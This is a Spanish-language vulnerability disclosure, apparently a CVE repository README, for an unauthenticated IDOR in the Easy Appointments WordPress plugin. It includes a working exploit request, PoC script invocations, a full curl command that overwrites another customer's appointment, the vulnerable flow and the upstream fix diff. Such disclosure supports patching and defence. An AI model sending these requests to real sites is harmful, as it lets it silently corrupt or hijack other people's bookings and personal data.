
CVE-2026-61946: IDOR no autenticado en Easy Appointments <= 3.12.27
Encontré una referencia directa a objetos insegura sin autenticación en el plugin Easy Appointments de WordPress. El endpoint público de reservas aceptaba un id de la cadena de consulta y pasaba los datos resultantes a la ruta replace() de la base de datos del plugin.
Eso significaba que una nueva solicitud de reserva pública podía convertirse en una actualización de una fila de cita existente. No se requería inicio de sesión, cookies ni una cuenta de WordPress. Proporciónale la clave primaria de otra cita, elige un hueco realmente abierto, y el plugin sobrescribía esa reserva con los datos de cliente y cita controlados por el atacante.
| CVE | CVE-2026-61946 |
| Plugin | Easy Appointments |
| Slug | easy-appointments |
| Afectadas | <= 3.12.27 |
| Corregida | 3.12.28 |
| Clase de vulnerabilidad | IDOR sin autenticación / clave primaria controlada por el usuario (CWE-639) |
| Impacto | Sobrescritura arbitraria de citas existentes |
| CVSS | 6.5 Media (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L) |
| Crédito | Daniel Wade |
| Patchstack PSID | 4f9c506f9f90 |
El endpoint público aceptaba una solicitud con esta forma:
GET /wp-admin/admin-ajax.php?action=ea_res_appointment&id=2&location=1&service=1&worker=1&date=2026-04-09&start=15:00&name=ATTACKER&email=evil%40hack.com&phone=666&description=PWNED HTTP/1.1
Host: target.example
El id=2 no se trataba como una identidad de objeto no confiable. En las versiones afectadas, superaba el filtrado de entrada y llegaba a la ruta de reemplazo de la base de datos. Si la fila 2 ya pertenecía a otro cliente, la solicitud pública actualizaba esa fila en lugar de crear una nueva.
Antes: id=2 | Jane Victim | [email protected] | confirmado | $50.00
Después: id=2 | ATTACKER | [email protected] | reserva | $50.00
Easy Appointments expone el manejador de reservas a visitantes no autenticados:
add_action('wp_ajax_ea_res_appointment', array($this, 'ajax_res_appointment'));
add_action('wp_ajax_nopriv_ea_res_appointment', array($this, 'ajax_res_appointment'));
Eso es lo esperado en un formulario de reservas público. El bug de autorización consistía en confiar en la clave de objeto del llamante dentro de ese manejador público.
El flujo vulnerable era:
GET sin autenticación
-> action=ea_res_appointment
-> $_GET['id']
-> permitido a través de la lista de campos de reserva
-> models->replace('ea_appointments', $data, true)
-> fila de cita existente seleccionada por clave primaria
-> reserva de la víctima sobrescrita
Las comprobaciones de nonce y CAPTCHA no establecían la propiedad del ID de cita suministrado. Además, estaban deshabilitadas por defecto en la configuración que probé, por lo que la solicitud no requería ningún estado de sesión.
El endpoint sí realizaba una comprobación de disponibilidad. Eso no solucionaba el problema de autorización de objetos; solo significaba que el atacante tenía que elegir una ubicación, un servicio, un trabajador y una fecha válidos, además de un horario actualmente abierto.
Necesitas:
1. Un laboratorio WordPress desechable con Easy Appointments <= 3.12.27
2. El ID de una cita de laboratorio que hayas creado para las pruebas
3. IDs válidos de ubicación, servicio y trabajador del formulario público
4. Un horario que esté actualmente abierto
Después ejecuta cualquiera de los dos PoC con ambos interruptores de seguridad. Sin --execute / -Execute, los scripts solo imprimen la solicitud que enviarían.
PowerShell:
.\poc\reproduce.ps1 `
-Target "http://127.0.0.1" `
-AppointmentId 2 `
-Location 1 `
-Service 1 `
-Worker 1 `
-Date "2026-04-09" `
-Start "15:00" `
-AuthorizedLab `
-Execute
Bash:
./poc/reproduce.sh \
--target "http://127.0.0.1" \
--id 2 \
--location 1 \
--service 1 \
--worker 1 \
--date "2026-04-09" \
--start "15:00" \
--authorized-lab \
--execute
curl manual:
curl -i -sS -G "http://127.0.0.1/wp-admin/admin-ajax.php" \
--data-urlencode "action=ea_res_appointment" \
--data-urlencode "id=2" \
--data-urlencode "location=1" \
--data-urlencode "service=1" \
--data-urlencode "worker=1" \
--data-urlencode "date=2026-04-09" \
--data-urlencode "start=15:00" \
--data-urlencode "name=ATTACKER" \
--data-urlencode "[email protected]" \
--data-urlencode "phone=666" \
--data-urlencode "description=PWNED"
No intervienen cabeceras de autenticación ni cookies.
Reproduje el problema en:
WordPress 6.9.4
Easy Appointments 3.12.23.1
Solicitud sin autenticación
Sin cookies
Nonce deshabilitado
CAPTCHA deshabilitado
La prueba utilizó una fila de cita existente propiedad de una cuenta de víctima de laboratorio:
id=2
name=Jane Victim
[email protected]
status=confirmado
price=$50.00
Tras la solicitud de reserva pública, la misma clave primaria contenía:
id=2
name=ATTACKER
[email protected]
status=reserva
price=$50.00
Que la clave primaria y el precio permanecieran sin cambios dejaba claro el comportamiento de actualización: no se trataba de una segunda reserva que casualmente se parecía a la primera, sino de la fila existente siendo reemplazada.
Una copia de la prueba de antes/después está en evidence/sample-before-after.txt.
Un atacante sin autenticar que conozca o adivine un ID de cita puede corromper los datos del cliente y de programación de esa reserva. Dependiendo del flujo de trabajo del sitio, eso puede incluir cambiar:
nombre y correo electrónico del cliente
número de teléfono
descripción de la cita
ubicación, servicio y trabajador asignado
fecha y hora de inicio
estado de la reserva generado por el flujo público
El resultado práctico es una manipulación silenciosa de las reservas: las citas legítimas pueden redirigirse, desplazarse, vandalizarse o volverse operativamente inútiles. El formulario público expone los valores de programación válidos necesarios para construir la solicitud.
La puntuación oficial es 6.5 Media:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
El cambio relevante para la seguridad en la versión 3.12.28 es maravillosamente contundente:
foreach ($data as $key => $rem) {
if (!in_array($key, $dont_remove)) unset($data[$key]);
}
+
+unset($data['id']);
+$data['id'] = null;
unset($data['action']);
El flujo público de reservas ya no puede elegir la clave primaria del objeto de la base de datos. La solicitud se ve forzada a seguir la ruta del nuevo registro, en lugar de permitírsele reemplazar una cita existente arbitraria.
El mismo commit de seguridad también corrigió la lógica de la opción de nonce. Eso es una defensa en profundidad útil, pero la validación del nonce por sí sola no sería una comprobación de propiedad para un ID de cita proporcionado por el atacante. Eliminar la clave controlada por el cliente es la corrección directa del IDOR.
El parche extraído está en patch/fix.diff.
poc/
reproduce.ps1 # Reproducción de laboratorio en PowerShell
reproduce.sh # Reproducción de laboratorio en Bash/curl
evidence/
sample-before-after.txt # Prueba saneada del reemplazo de la fila
patch/
fix.diff # Diff upstream relevante para la seguridad
README.md
| Fecha | Evento |
|---|---|
| 2026-04-03 | Reportado a Patchstack |
| 2026-07-07 | Parche validado |
| 2026-07-16 | Patchstack publicó la entrada de la vulnerabilidad |
| 2026-07-23 | CVE-2026-61946 publicado |
Aviso legal: Este PoC se publica con fines de investigación defensiva y verificación después de la disponibilidad del parche. No lo utilices contra sistemas que no poseas o para los que no tengas autorización explícita para realizar pruebas.
CVE-2026-61946 - Corregido en Easy Appointments 3.12.28. Afectadas: 3.12.27 y anteriores.
Daniel Wade - GitHub - Twitter/X - Bluesky - Mastodon - Medium - nadsec.online